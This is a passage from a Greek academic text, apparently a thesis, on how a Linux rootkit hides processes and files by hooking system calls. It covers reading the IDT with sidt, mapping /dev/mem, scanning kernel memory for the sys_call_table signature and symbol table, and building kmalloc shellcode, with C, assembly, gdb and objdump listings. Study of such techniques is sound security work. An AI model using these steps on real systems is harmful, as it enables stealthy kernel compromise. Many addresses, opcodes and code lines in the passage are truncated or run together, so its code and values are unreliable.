50 64-bit mode Descriptor Reserved, IGN Offset 63: Offset 31:16 P DPL Type Reserved,IGN IST Target Segment Selector Offset 15: Σχήμα 14. Εγγραφή IDT σε αρχιτεκτονική x86_64 Ο καταχωρητής idtr επιτρέπει την αποθήκευση του IDT οπουδήποτε στην μνήμη. Προσδιορίζει την βάση (linear address) και το όριο (μέγεθος πίνακα σε byte). Πρέπει να αρχικοποιηθεί πριν την ενεργοποίηση των διακοπών με την χρήση της εντολής assembly lidt. Ενώ μπορεί να ανακτηθεί με την εντολή sidt. Εντολή LIDT operand SIDT operand Περιγραφή Load operand into IDTR Store IDTR to operand Πίνακας 5. Εντολές αποθήκευσης και ανάκτησης στον πίνακα διακοπών Τα πρώτα 2 byte που φορτώνονται στον καταχωρητή είναι πάντα ένα όριο 16- bit. Ενώ τα υπόλοιπα εξαρτώνται από την κατάσταση λειτουργίας του επεξεργαστή και είναι 4 bytes για 16-bit και 32-bit, και 8 για 64-bit. Τα περιεχόμενα του IDTR αποθηκεύονται στην θέση μνήμης που δείχνει το operand. Ισχύει και εδώ ότι και για την εντολή φόρτωσης. Τα 2 πρώτα byte (low bytes) θα περιέχουν το όριο, ενώ για την βάση ισχύουν τα εξής: Για 32-bit 49

51 συστήματα έχουμε βάση 4 byte και 8 για 64-bit. Οι παραπάνω εντολές μπορούν εύκολα να χρησιμοποιηθούν στο πρόγραμμά μας με την βοήθεια της Inline Assembly. Μπορούν να κληθούν μάλιστα οποιαδήποτε στιγμή από το userland. Επίσης, μόνο η εντολή sidt είναι ικανή να αποκαλύψει την ύπαρξη ενός virtualized rootkit [4]. 50

52 10 Κλήσεις συστήματος System Calls Όπως προαναφέρθηκε μία διακοπή χρησιμοποιείται για την κλήση μεθόδων του συστήματος. Η διακοπή 0x80. Η διαδικασία για την εκτέλεση μία κλήσης συστήματος έχει ως εξής, 1. Η διεύθυνση της μεθόδου της κλήσης συστήματος τοποθετείται στον EAX. 2. Οι παράμετροι της κλήσης τοποθετούνται σε καταχωρητές. 3. Εκτελείται η εντολή int 0x Ο επεξεργαστής μεταφέρεται σε κατάσταση πυρήνα. 5. Εκτελείται η μέθοδος της κλήσης συστήματος Μία συγκεκριμένη τιμή συνδέεται με κάθε μία κλήση συστήματος. Αυτή η τιμή πρέπει να τοποθετηθεί στον EAX. Κάθε κλήση συστήματος μπορεί να έχει το μέγιστο 6 παραμέτρους οι οποίες τοποθετούνται στους αντίστοιχους καταχωρητές EBX, ECX, EDX, ESI, EDI, και EPB. Εάν περισσότερες από έξι παράμετροι πρέπει να χρησιμοποιηθούν οι παράμετροι περνούν στην μέθοδο με την βοήθεια μίας δομής δεδομένων στην πρώτη παράμετρο. Μας είναι πολύ σημαντικό να ξέρουμε πού υπάρχει κάθε παράμετρος μετά από μια κλήση συστήματος. Γενικά οι παράμετροι για οποιαδήποτε απλή μέθοδο ξέρουμε πως περνιούνται μέσω της στοίβας. Έτσι για μια μέθοδο όπως foo(int a, int b, int c), οι παράμετροι θα περάσουν σε αυτή με διαδοχικές εντολές push. Στην συνέχεια η foo θα βρει τις παραμέτρους στην στοίβα ανάλογα με την θέση τους κατά την κλήση. Οι κλήσεις συστήματος δεν διαφέρουν από τις υπόλοιπες 51

53 μεθόδους, έχουν όμως μια ιδιομορφία. Ξέρουμε πως η στοίβα του χρήστη είναι διαφορετική από αυτήν του πυρήνα. Επίσης ξέρουμε πως οι κλήσεις συστήματος είναι μέθοδοι του πυρήνα και πρέπει να τρέξουν για λογαριασμό αυτού. Παράλληλα όμως καλούνται από τις διεργασίες χρήστη, και παίρνουν τις τιμές των παραμέτρων τους από αυτές. Στην αρχιτεκτονική x86 είναι αδύνατο να αντιγράψουμε τα περιεχόμενα μιας θέσης της στοίβας σε μία άλλη στοίβα (πιο συγκεκριμένα από μία περιοχή μνήμης σε μία άλλη) χωρίς την χρήση καταχωρητών. Επομένως προκειμένου να γλυτώσουμε ταχύτητα όταν επιτελείται μία κλήση συστήματος όλες οι παράμετροι αντιγράφονται σε αντίστιχους καταχωρητές και έπειτα ο πυρήνας τις αντιγράφει στην στοίβα καθώς όπως προείπαμε οι κλήσεις συστήματος είναι κανονικές μέθοδοι. 52

54 11 Απόκρυψη διεργασιών και φακέλων με την βοήθεια των διακοπών Η ιδέα της απόκρυψης διεργασιών, φακέλων και άλλων στοιχείων ενός λειτουργικού συστήματος με τη βοήθεια των διακοπών είναι αρκετά παλιά. Ο Silvio Cesare την γνωστοποίησε για πρώτη φορά 1998, και έκτοτε έχει υλοποιηθεί με διάφορους τρόπους. Στην αρχική και πιο απλή εκδοχή της η τεχνική αυτή ήταν ουσιαστικά ένα kernel module το οποίο όταν φορτωνόταν άλλαζε την διεύθυνση μιας εκ των ρουτινών εξυπηρέτησης διακοπών (interrupt handlers) του πίνακα κλήσεων συστήματος (syscall table) ώστε να δείχνει σε μία διαφορετική ρουτίνα. Αφού αντικατασταθεί η διεύθυνση αυτού (μία διαδικασία που λέγεται hooking) γίνεται η συγκεκριμένη κλήση συστήματος ώστε να εκτελεστεί ο κώδικάς της καινούργιας ρουτίνας με όλα τα προνόμια μιας διεργασίας πυρήνα. Αφού ολοκληρωθούν όλες οι εργασίες ο πίνακας κλήσεων πρέπει φυσικά να γυρίσει στην αρχική του κατάσταση, για να αποφευχθούν καταστάσεις αστάθειας. Επιπλέον, για τον ίδιο λόγο, η κλήση συστήματος που θα επιλεγεί να αντικατασταθεί θα πρέπει να είναι μία όχι και τόσο συχνά χρησιμοποιούμενη. Το hooking, στην περίπτωση ενός kernel module, ήταν εύκολο επειδή ο πυρήνας εξήγαγε σαν σύμβολο την διεύθυνση του πίνακα syscall, ο οποίος ήταν προσβάσιμος από οποιοδήποτε module πυρήνα, ενώ η αντίστοιχη κλήση συστήματος ήταν απλά μια εγγραφή του. Η αλλαγή μπορούσε να γίνει για 53

55 παράδειγμα ως εξής, _memcpy( sys_call_table[syscall_nr], new_syscall_code, sizeof(syscall_code) ); Σύντομα, το σύμβολο sys_call_table σταμάτησε να εξάγεται από τον πυρήνα οπότε νέες παραλλαγές της τεχνικής άρχισαν να βγαίνουν στην επιφάνεια, στις οποίες μάλιστα δεν χρειαζόταν καν η δημιουργία ενός module. Ο πίνακας κλήσεων συστήματος αυτή τη φορά εξαγόταν έπειτα από 'σκανάρισμα' της μνήμης. Στο Linux η μνήμη πυρήνα ήταν προσβάσιμη μέχρι και πριν λίγο καιρό μέσω του ειδικού αρχείου /dev/kmem. Αποφασίστηκε όμως ότι η εγγραφή σε αυτό το αρχείο είναι περιττή και απαγορεύτηκε. Αντίθετα, η πρόσβαση στο αρχείο /dev/mem δεν είναι καθόλου περιττή, αφού αρκετοί driver το χρησιμοποιούν για την λειτουργία τους. Αυτήν η εκδοχή θα εξεταστεί και στο παρόν κείμενο. Η πρόσβαση είναι απλή, με την προϋπόθεση ότι η διεργασία έχει δικαιώματα υπερχρήστη. Αρχικά, ανοίγουμε το αρχείο για ανάγνωση και εγγραφή, και στην συνέχεια το κάνουμε mmap στην διεργασία μας. fd = open ("/dev/mem", O_RDWR)); ptr = mmap (0, sizeof_kernelimage, PROT_READ, MAP_SHARED, fd, 0); Μ'αυτό τον τρόπο, η περιοχή όπου έχει φορτωθεί ο πυρήνας 'χαρτογραφείται' στο virtual address space του προγράμματός μας και είναι προσβάσιμη από αυτό. Η επόμενη εργασία μας έχει να κάνει με την εύρεση του IDT μέσα σε αυτή την περιοχή μνήμης. Έχουμε ήδη αναφέρει ότι η διεύθυνση που έχει φορτωθεί ο πίνακας διακοπών μπορεί να ανακτηθεί με μία εντολή assembly. Στο πρόγραμμά μας, αυτό γίνεται με την βοήθεια Inline assembly, 54

56 asm ("sidt %0":"=m" (idtr32)); Η Inline assembly μας βοηθάει να εκτελούμε εντολές assembly μέσα από το πρόγραμμά μας σε γλώσσα C. Στην παραπάνω περίπτωση %0 είναι η τιμή εξόδου στην οποία και τοποθετούμε στην μεταβλητή idtr32. Η τελευταία έχουμε επιλέξει να είναι ένα struct το οποίο και θα 'ταιριάζει' με αυτό που επιστέφει η εντολή sidt σε σύστημα 32-bit. struct { unsigned short limit; unsigned int base; } attribute ((packed)) idtr32; K 8. Το αντικείμενο idtr32 Με το attribute ((packed)) ο GCC πληροφορείται πως χρειαζόμαστε το λιγότερο δυνατό alignment μεταξύ των μεταβλητών στο struct μας. Έχοντας πλέον την διεύθυνση που ξεκινά ο IDT στην μνήμη (base) καθώς και το μέγεθός του (limit), μπορούμε πλέον να βρούμε την εγγραφή 0x80, κλήση συστήματος. sys_call_func = (*(short *) (ptr + (idtr32.base & 0x00ffffff) + (8 * 0x80) + 6) << 16) *(short *) (ptr + (idtr32.base & 0x00ffffff) + (8 * 0x80) + 0); K 9. H 128 η εγγραφή του IDT Από την εγγραφή αυτή του πίνακα διακοπών βρήκαμε την διεύθυνση του handler της κλήσης συστήματος. Αυτό που εμείς θέλουμε είναι να βρούμε το 55

57 πίνακα κλήσεων συστήματος μέσα στη μνήμη. Αν κοιτάξουμε μέσω ενός debugger τον κώδικα του handler για την κλήση συστήματος παρατηρούμε το εξής αυτό που παρουσιάζεται το K 10. Dump of assembler code for function system_call: 0xc0104f30 <system_call+0>: push %eax 0xc0104f31 <system_call+1>: cld 0xc0104f32 <system_call+2>: push %fs 0xc0104f34 <system_call+4>: push %es 0xc0104f35 <system_call+5>: push %ds 0xc0104f36 <system_call+6>: push %eax 0xc0104f37 <system_call+7>: push %ebp 0xc0104f38 <system_call+8>: push %edi 0xc0104f39 <system_call+9>: push %esi 0xc0104f3a <system_call+10>: push %edx 0xc0104f3b <system_call+11>: push %ecx 0xc0104f3c <system_call+12>: push %ebx 0xc0104f3d <system_call+13>: mov $0x7b,%edx 0xc0104f42 <system_call+18>: movl %edx,%ds 0xc0104f44 <system_call+20>: movl %edx,%es 0xc0104f46 <system_call+22>: mov $0xd8,%edx 0xc0104f4b <system_call+27>: movl %edx,%fs 0xc0104f4d <system_call+29>: mov $0xffffe000,%ebp 0xc0104f52 <system_call+34>: and %esp,%ebp 0xc0104f54 <system_call+36>: testw $0xe1,0x8(%ebp) 0xc0104f5a <system_call+42>: jne 0xc <syscall_trace_entry> 0xc0104f60 <system_call+48>: cmp $0x145,%eax 0xc0104f65 <system_call+53>: jae 0xc <syscall_badsys> 0xc0104f6b <system_call+59>: call *0xc04094e0(,%eax,4) < xc0104f72 <system_call+66>: mov %eax,0x18(%esp) K 10. Έξοδος gdb της μεθόδου system_call 56

58 Στο σημείο system_call+59 καλείται από τον πίνακα syscall η αντίστοιχη κλήση συστήματος. Επομένως με μία σάρωση της μνήμης λίγο μετά την αρχή του κώδικα του παραπάνω handler στην μνήμη βρίσκεται η διεύθυνση του πίνακα syscall. Το opcode για την παραπάνω εντολή έχει ως εξής, c0104f6b: ff e c0 call *-0x3fbf6b20(,%eax,4) Δηλαδή, opcode = 0xff 0x14 0x85 0x<address_of_table> Επειδή αυτό δεν αλλάζει από την μία έκδοση πυρήνα στην άλλη είναι σχετικά ασφαλές να ψάξουμε σειριακά στην μνήμη ένα μοτίβο όπως το εξής, memmem((mregion+(sys_call_func & 0x00ffffff)),500,"\xff\x14\x85",3); sys_call_table = *(int *)(p+3); K 11. Υπογραφή της κλήσης του πίνακα syscall Η memmem() είναι μία μέθοδος της STL βιβλιοθήκης (<string.h>) που μας βοηθάει να ψάξουμε ένα string σε μία περιοχή μνήμης. Η υπογραφή αυτής της μεθόδου μπορεί να διαφέρει, γι'αυτό πρέπει να χρησιμοποιείται με προσοχή προκειμένου να υπάρχει συμβατότητα. Έχοντας την διεύθυνση του πίνακα κλήσεων συστήματος είμαστε έτοιμοι να αλλάξουμε οποιαδήποτε εγγραφή του γράφοντας στο αρχείο /dev/mem. Αυτό που χρειαζόμαστε τώρα είναι χώρος στην περιοχή του πυρήνα όπου θα μπουν οι μέθοδοι που θα αντικαταστήσουν τις αντίστοιχες μεθόδους του πυρήνα. Η μέθοδος kmalloc μπορεί να κάνει αυτήν ακριβώς τη δουλειά για μας. Μόνο που σε κατάσταση user mode είναι αδύνατο να κληθεί. Δε συμβαίνει όμως το ίδιο αν την 57

59 καλούσε κάποια μέθοδος του πυρήνα, όπως στην περίπτωση του κώδικα του handler μίας κλήσης συστήματος. Έχοντας τις διευθύνσεις των handler των κλήσεων συστήματος, αυτό που χρειαζόμαστε τώρα είναι η διεύθυνση της μεθόδου kmalloc για την δημιουργία χώρου στην περιοχή του πυρήνα. Για να βρούμε την διεύθυνση αυτής της μεθόδου ακολουθούμε μία παρόμοια μέθοδο όπως αυτήν για την εύρεση του πίνακα κλήσεων συστήματος. Η ανάπτυξη της θα παρουσιαστεί αργότερα. Βασίζεται σε ένα χαρακτηριστικό που διευκολύνει το debuging του πυρήνα, τον πίνακα συμβόλων στην μνήμη (symbol table). Υπάρχει επίσης ένα αρχείο στο σύστημα το οποίο περιέχει όλες τις εξαγόμενες διευθύνσεις των μεθόδων του πυρήνα. Το αρχείο αυτό ονομάζεται System.map. Η παρουσία του όμως δεν είναι κάτι απαραίτητο επομένως δε μπορούμε να βασιστούμε σε αυτό παρά μόνο για τον έλεγχο των σωστών αποτελεσμάτων κατά την διάρκεια των πειραμάτων μας. 58

60 12 Τα αρχεία ELF Τα αρχεία Executable and Linking Format (ELF) είναι αρχεία binary τα οποία αναπτύχθηκαν από την USL (UNIX System Laboratories) και υιοθετηθήκαν από το Linux το Λόγω της ελαστικότητας στο format τους, που επιτρέπει στα αρχεία αυτά να χρησιμοποιούνται από διαφορετικές αρχιτεκτονικές, γρήγορα αντικατέστησαν τα παραδοσιακά a.out αρχεία του Linux. Υπάρχου 3 είδη αρχείων ELF: relocatable, executable, και shared. Τα relocatable αρχεία δημιουργούνται από τoυς compilers και τους assemblers αλλά χρειάζονται την επεξεργασία ενός linker πριν να εκτελεστούν. Τα εκτελέσιμα (executable) αρχεία χρειάζονται πολύ λίγες ενέργειες για την εκτέλεση τους, όπως ίσως την σύνδεση με κώδικα κάποιων βιβλιοθηκών για κάποια από τα σύμβολά τους (shared library symbols). Τα shared objects είναι βιβλιοθήκες που περιέχουν τόσο πληροφορίες για σύμβολα όσο και απευθείας εκτελέσιμο κώδικα. Ο πυρήνας στο Linux είναι ένα αρχείο ELF. bash-3.1$ file linux /vmlinux linux /vmlinux: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped Τα αρχεία ELF θα έλεγε κανείς πως έχουν δύο όψεις. Από τους μεταγλωττιστές, τους assemblers και τους linkers αντιμετωπίζονται σαν μια ομάδα από λογικά τμήματα (sections) που περιγράφονται από έναν πίνακα (section header table), ενώ ο loader του συστήματος τα αντιμετωπίζει σαν μία ομάδα από τμήματα που περιγράφονται από τον πίνακα program header. 59

61 Τα relocatable αρχεία ELF έχουν πίνακες τμημάτων (sections), τα εκτελέσιμα πίνακες κεφαλίδων προγράμματος (program header), και τα shared objects έχουν και τα δύο. Τα τμήματα 'sections' προορίζονται για επεξεργασία από τον linker, ενώ τα τμήματα 'segments' προορίζονται για χαρτογράφηση στην μνήμη (map). Sections ενός αρχείου ELF είναι τα παρακάτω,.text.data.rodata.bss.rel.text,.rel.data και.rel.rodata.init και.fini.symtab και.dynsym.strtab και.dynstr.line.comment LINKING VIEW ELF HEADER Program header table optional Section Section n Section header table EXECUTION VIEW ELF HEADER Program header table Segment Segment Section header table optional Σχήμα 15. Μορφή ενός αρχείου ELF [17]-[18] 60

62 Ενδιαφέρον για εμάς παρουσιάζουν τα τμήματα.symtab και.strtab. Το.strtab περιέχει έναν πίνακα από string χωρισμένα με τον κενό χαρακτήρα null. Ενώ το.symtab περιέχει πληροφορίες για την αντιστοίχηση των διευθύνσεων των προαναφερθέντων string με διευθύνσεις μεθόδων. Οι εγγραφές του.symtab έχουν την μορφή που φαίνεται στο K 12. typedef struct { Elf32_Word Elf32_Addr st_name; st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Half } Elf32_Sym; st_shndx; K 12. Εγγραφή του πίνακα.symtab Όπου οι τύποι δεδομένων Elf32_Word, Elf32_Addr έχουν μέγεθος 4 byte και ο τύπος Elf32_Half, 2 byte Εκτελέσιμα Αρχεία ELF Σε ένα εκτελέσιμο ELF (executable ELF) αρχείο τα δεδομένα είναι έτσι διαμορφωμένα ώστε να μπορούν να φορτωθούν σχεδόν αμέσως στην μνήμη και να τρέξουν. Το αρχείο περιέχει μία κεφαλίδα 'program header' που ακολουθεί αμέσως μετά την καθολική κεφαλίδα του ELF. Το program header καθορίζει τα τμήματα (segments) που θα τοποθετηθούν στην μνήμη. Ένα εκτελέσιμο έχει 61

63 segments όπως ανάγνωσης (read-only) για τον κώδικα και αντίστοιχα για τα δεδομένα και εγγραφής/ανάγνωσης (read-write) για εγγραφή και ανάγνωση δεδομένων. Όλα τα sections που μπορούν να φορτωθούν είναι πακεταρισμένα στα αντίστοιχα segments ώστε το σύστημα να μπορεί να χαρτογραφήσει το αρχείο στη μνήμη με λίγες εργασίες. Αυτό που για εμάς έχει περισσότερο ενδιαφέρον είναι ο τρόπος που χαρτογραφείται στην μνήμη το τμήμα που περιέχει τα σύμβολα. Εμείς θα χρησιμοποιήσουμε την εικόνα αυτή στην μνήμη για να ψάξουμε τις διευθύνσεις των μεθόδων των αντίστοιχων συμβόλων. Για να αποκτήσουμε μια ιδέα της εικόνας αυτής χρησιμοποιούμε ένα απλό πρόγραμμα γραμμένο σε C. Αρχικά το πρόγραμμά μας ψάχνει για το string μιας μεθόδου που επιλέξαμε να είναι κάποια από τις πρώτες εγγραφές του πίνακα συμβόλων, η init_task. Χρησιμοποιούμε πάντα το αρχείο /dev/mem για απευθείας ανάγνωση της μνήμης του συστήματος το οποίο έχουμε κάνει mmap στην διεργασία μας στην περιοχή που ξεκινάει από τον δείκτη mregion (K 13). unsigned long kstrtab; char srch[] = "\0init_task"; for (x = 0; x < 20 * 1024 * 1024; x++) { if (memcmp ((unsigned char *) (mregion + x), srch, strlen ("init_task") + 2) == 0) { kstrtab = kernelstart + x + 1; break; } } K 13. Αναζήτηση συμβόλου 62

64 Στο αποτέλεσμα της αναζήτησης (x) προσθέτουμε το kernelstart (0xc για την περίπτωση 32bit). Και συνεχίζουμε με μια δεύτερη αναζήτηση, αυτή τη φορά για την αντίστοιχη καταχώρηση στον πίνακα symtab (K 14). for (x = 0; x < 20 * 1024 * 1024; x++) if (*(unsigned long *) (mregion + x) == kstrtab) break; K 14. Αναζήτηση διεύθυνσης Το αποτέλεσμα είναι να βρούμε μία εγγραφή του symtab πολύ κοντά στην αρχή. Στην συνέχεια θα προσπαθήσουμε να τυπώσουμε αυτό που εμείς ελπίζουμε ότι είναι ο πίνακας συμβόλων (Κώδικας K 15). for(x,y=0; y < 3890; y++,x+=8) printf("function address: 0x%.08x string address: 0x%.08x\n", *(unsigned long *) (mregion + x - 4), *(unsigned long *) (mregion + x)); K 15. Εκτύπωση διεύθυνσης Το αποτέλεσμα αυτού του loop φαίνεται στο K 16. Το σύστημα στο οποίο εκτελέστηκε αναγράφεται στην πρώτη γραμμή. 63

65 Linux custom #1 SMP Wed Apr 16 14:48:22 EEST 2008 i686 GNU/Linux function address: 0xc032d300 string address: 0xc031e9c8 function address: 0xc string address: 0xc031e9d2 function address: 0xc string address: 0xc031e9df function address: 0xc032e0c8 string address: 0xc031e9ed function address: 0xc03551a0 string address: 0xc031e9fd function address: 0xc039a000 string address: 0xc031ea20 function address: 0xc string address: 0xc031ea3a function address: 0xc string address: 0xc031ea50 [...] K 16. Output εκτέλεσης εντολής Στην συνέχεια, ψάχνοντας στο αρχείο /boot/system.map για τις παραπάνω διευθύνσεις βρίσκουμε αυτά που παρουσιάζονται στο K 17. bash-3.1$ grep 032d300 /boot/system.map custom c032d300 D init_task bash-3.1$ grep c031e9c8 /boot/system.map custom c031e9c8 r kstrtab_init_task bash-3.1$ grep c /boot/system.map custom c B system_state bash-3.1$ grep c031e9d2 /boot/system.map custom c031e9d2 r kstrtab_system_state bash-3.1$ grep c /boot/system.map custom c B reset_devices bash-3.1$ grep c031e9df /boot/system.map custom c031e9df r kstrtab_reset_devices K 17. Εγγραφές του /boot/system.map Αυτό που βρήκαμε το φορτώσαμε σε αντικείμενα της μορφής, 64

66 typedef struct { unsigned int unsigned int } Sym2Str; function; string; που είναι εγγραφές του πίνακα GOT, αναλυτική εξήγηση του οποίου ακολουθεί. Για να καταλάβουμε την χρησιμότητα αυτού του πίνακα θα πρέπει να κατανοήσουμε την έννοια του Position Independent Code (PIC). Ο κώδικας PIC μπορεί να φορτωθεί οπουδήποτε στην μνήμη και να δουλέψει όπως έχει. Αυτό είναι σημαντικό επειδή οι βιβλιοθήκες μπορεί να μην βρίσκονται πάντοντε την ίδια διεύθυνση, από την στιγμή που άλλες βιβλιοθήκες ενδέχεται να τοποθετηθούν πριν ή μετά από αυτές. Για την διατήρηση της ανεξαρτησίας θέσης κανείς δεν μπορεί να στηριχθεί στην διεύθυνσης βάσης κάποιου κώδικα, επειδή αυτήν μπορεί να αλλάξει. Έτσι προστίθεται ένα επίπεδο αναδρομολόγησης μεταξύ των κλήσεων. Για τα αρχεία ELF, αυτό γίνεται με την βοήθεια του Global Offset Table (GOT). Ο GOT είναι στην ουσία μία μεγάλη λίστα με δύο στήλες από τις οποίες η μία είναι ένα σύμβολο και η δεύτερη η πραγματική διεύθυνση (real address). Έτσι, αντί να φορτώνεται απ ευθείας το σύμβολο, φορτώνεται η τιμή του στον GOT, και έπειτα φορτώνεται αυτήν η τιμή προκειμένου να προσπελαστεί η πραγματική μέθοδος. 65

67 12.2 ELF σε συστήματα x64 Όπως έχουμε προαναφέρει, η αρχιτεκτονική x64 είναι non-segmented. Με αυτό τον τρόπο, οποιαδήποτε στιγμή μπορείς κανείς να ξέρει την σχετική διεύθυνση του GOT. Αν και η διεύθυνση της βάσης μπορεί να αλλάξει, η διαφορά μεταξύ του κώδικα και του σημείου που βρίσκεται ο GOT, δεν θα αλλάξει. Αυτό σημαίνει ότι αν πρέπει να φορτωθεί κάποια διεύθυνση από το GOT, ο πιο εύκολος τρόπος για να γίνει αυτό είναι να φορτωθεί μέσω ενός offset από την τρέχουσα διεύθυνση. Ο μεταγλωτιστής δεν ξέρει την ακριβή διεύθυνση μιας εντολής στη μνήμη, αλλά ξέρει το offset αυτής της τρέχουσας εντολής και μπορεί για παράδειγμα να φορτώσει την διεύθυνση (CURRENT_INSTRUCTION - OFFSET_TO_GOT_ENTRY) [19]. Η αρχιτεκτονική x86 δεν μπορεί να λειτουργήσει έτσι. Δεν υπάρχει τρόπος να φορτώσουμε ένα offset από την τρέχουσα εντολή. Ο μόνος τρόπος για να γίνει αυτό είναι αποθηκεύοντας έναν pointer ο οποίος δείχνει στον GOT μέσα σε έναν καταχωρητή (%ebp), και έπειτα να φορτωθεί το offset από αυτόν. Αυτό το γεγονός σπαταλάει έναν καταχωρητή, και για μία αρχιτεκτονική με λίγους καταχωρητές όπως η 386, αυτό μπορεί να γίνει πρόβλημα. Η AMD64 διορθώνει το πρόβλημα και επιτρέπει την αναφορά σε offset από την τρέχουσα τιμή του instruction pointer. Αυτό ελευθερώνει έναν καταχωρητή και αλλάζει το ABI (Application Binary Interface) αφαιρώντας την διάκριση μεταξύ απόλυτου PLT και PIC PLT. Το PLT (Procedure Linkage Table) είναι ένα ενισχυτικό χαρακτηριστικό που βοηθάει στο lazy binding. Ο PLT δείχνει σε μία σταθερή μέθοδο του dynamic 66

68 loader. Κατά την εκκίνηση εκτέλεσης ενός προγράμματος, οι εγγραφές του GOT δείχνουν σε αυτήν την μέθοδο. Όταν καλείται κάθε μέθοδος από αυτές του GOT, ο έλεγχος δεν μεταφέρεται κατ ευθείαν εκεί που θα έπρεπε, αλλά αντίθετα μεταφέρεται στην διεύθυνση αναζήτησης του dynamic loader και που δείχνει ο PLT. Από εκεί καλείται η ρουτίνα αναζήτησης του dynamic loader, οποίος και βρίσκει την πραγματική διεύθυνση. Ο dynamic loader αφού βρει την διεύθυνση της μεθόδου, έπειτα αλλάζει την εγγραφή του GOT ώστε να δείχνει στην πραγματική διεύθυνση. Έτσι την επόμενη φορά που φορτώνεται κάτι από τον GOT, η διεύθυνση που καλείται είναι της πραγματικής μεθόδου, χωρίς την καθυστέρηση της αναζήτησης μέσω του PLT. Όπως είναι φανερό ο λόγος που αυτήν η μέθοδος καλείται lazy binding είναι ακριβώς επειδή όλα αυτά γίνονται κατά την εκτέλεση και όχι κατά την δημιουργία του εκτελέσιμου αρχείου. Στην αρχιτεκτονική IA64, το να επιτραπεί το χαρακτηριστικό της σχετικής ως προς τον Instruction Pointer διεύθυνσης, δεν δημιουργεί διάκριση μεταξύ απόλυτων και PIC PLT. Επιστρέφοντας στο πρόγραμμά μας, θυμόμαστε πως έχουμε ήδη βρει εγγραφές του GOT οι οποίες περιέχουν τις πραγματικές διευθύνσεις των μεθόδων του πυρήνα. Εκτός από το προφανές πλεονέκτημα της αλλαγής των διευθύνσεων που έχουμε βρει, πρέπει επίσης να σκεφτούμε πού θα δείχνουν οι καινούργιες διευθύνσεις τις οποίες θα τοποθετήσουμε εμείς. Πριν χρησιμοποιήσουμε τις καινούργιες πληροφορίες για να συνεχίσουμε την εργασία μας, θα πρέπει να σκεφτούμε τι θα τοποθετήσουμε στην περιοχή που δείχνει η διεύθυνση που θα βρούμε. Φυσικά θα πρέπει να περιέχει κώδικα. Τι κώδικα όμως και σε τι μορφή θα αναλύσουμε στην αμέσως επόμενη ενότητα. 67

69 13 Shellcode για αρχιτεκτονική x86 Με τον όρο shellcode εννοούμε μικρά κoμμάτια κώδικα που χρησιμοποιούνται για το άνοιγμα ενός shell σε ένα μηχάνημα, συνήθως χωρίς την γνώση της ύπαρξής του από τον ιδιοκτήτη του. Στην ουσία είναι μεταγλωτισμένα κομμάτια κώδικα σε γλώσσα μηχανής τα οποία φορτώνονται στην μνήμη και τρέχουν με νόμιμους ή όχι τρόπους [20]. Στην περίπτωση του προγράμματος που θα εξετάσουμε θα χρειαστούμε όπως θα φανεί κομμάτια shellcode για την εκτέλεση των λειτουργιών μας. Ο πιο εύκολος τρόπος δημιουργίας τους είναι μεταγλωτίζοντας ένα πρόγραμμα σε assembly και στη συνέχεια με την βοήθεια εργαλείων όπως objdump. Στην συγγραφή αυτών των προγραμμάτων σημαντικό ρόλο παίζουν οι κλήσεις συστήματος. Υπάρχουν δύο τρόποι να εκτελεστεί μία κλήση συστήματος. Είτε έμμεσα χρησιμοποιώντας τις μεθόδους της βιβλιοθήκης C, είτε άμεσα τοποθετώντας τα δεδομένα στους κατάλληλους καταχωρητές και μετά κάνοντας την κλήση συστήματος. Το πρώτο πρόγραμμα που θα χρειαστούμε σε μορφή shellcode θα είναι το interface μας για την κλήση της μεθόδου kmalloc() (K 18). 68

70 bash-3.1$ cat kmalloc.asm Section.text global _start _start: sub esp,0x8 mov eax,4096 mov edx,0xd0 mov [esp],eax mov [esp+4],edx mov ecx,0xffffffff call ecx add esp,0x8 ret ;εδώ θα μπει η διεύθυνση της kmalloc K 18. Κλήση της kmalloc() Αρχικά κάνουμε χώρο στην στοίβα για 2 στοιχεία 32-bit. Αυτά θα είναι οι παράμετροι της μεθόδου που θα καλέσουμε. Έπειτα τα μεταφέρουμε στους καταχωρητές ως εξής: Το μέγεθος της μνήμης που θέλουμε να δεσμεύσουμε (4096) στον eax. Μια ειδική τιμή στον edx (0xd0), η οποία αντιστοιχεί στο GFP_KERNEL. Περνώντας την παράμετρο αυτήν στην μέθοδο kmalloc, ο πυρήνας θα επιμείνει στο να βρει μνήμη, η διεργασία μάλιστα ενδεχομένως να πέσει σε κατάσταση sleep μέχρι την στιγμή που θα γίνει αυτό. Μια άλλη επιλογή είναι η GFP_ATOMIC. Με αυτήν ο πυρήνας θα ψάξει για χώρο σε μία λίστα από άδειες περιοχές μνήμης κρατημένες από τον πυρήνα για τις περιπτώσεις έκτακτης ανάγκης και εάν αποτύχει επιστρέφει με ένα κωδικό λάθους χωρίς να προσπαθήσει περεταίρω. Αφού μεταφέραμε τις παραμέτρους στους καταχωρητές έπειτα τους τοποθετούμε και στην στοίβα, και τέλος καλούμε την μέθοδο kmalloc(). Προς το 69

71 παρόν, η διεύθυνση μας είναι άγνωστη, όμως αυτό δε μας απασχολεί. Το κομμάτι αυτό κώδικα θα μεταγλωτιστεί από όπου και θα πάρουμε τα opcodes, τα οποία και θα τοποθετήσουμε σε ένα string στο πρόγραμμά μας. Από εκεί μπορoύμε να κάνουμε οποιεσδήποτε τροποποιήσεις θέλουμε στον κώδικα αυτό (K 19). bash-3.1$ nasm -f elf kmalloc.asm bash-3.1$ ld -o kmalloc kmalloc.o bash-3.1$ objdump -D kmalloc kmalloc: file format elf32-i386 Disassembly of section.text: <_start>: : 81 ec sub $0x8,%esp : b mov $0x1000,%eax b: ba d mov $0xd0,%edx : mov %eax,(%esp) : mov %edx,0x4(%esp) : b9 ff ff ff ff mov $0xffffffff,%ecx c: ff d1 call *%ecx e: 81 c add $0x8,%esp : c3 ret K 19. Περιεχόμενα εκτελέσιμου αρχείου kmalloc() Η μεσαία στήλη αντιστοιχεί στην γλώσσα μηχανής. Τοποθετούμε κάθε byte ξεχωριστά σε έναν πίνακα από chars που μπορεί να έχει στο πρόγραμμά μας την παρακάτω μορφή, char kmalloc = "\x81\xec\x08\x00\x00\x00\xb8\x00\x10\x00\x00\xba\xd0\x00\x00 \x00\x89\x04\x24\x89\x54\x24\x04\xb9\xff\xff\xff\xff\xff\xd1 \x81\xc4\x08\x00\x00\x00\xc3" 70

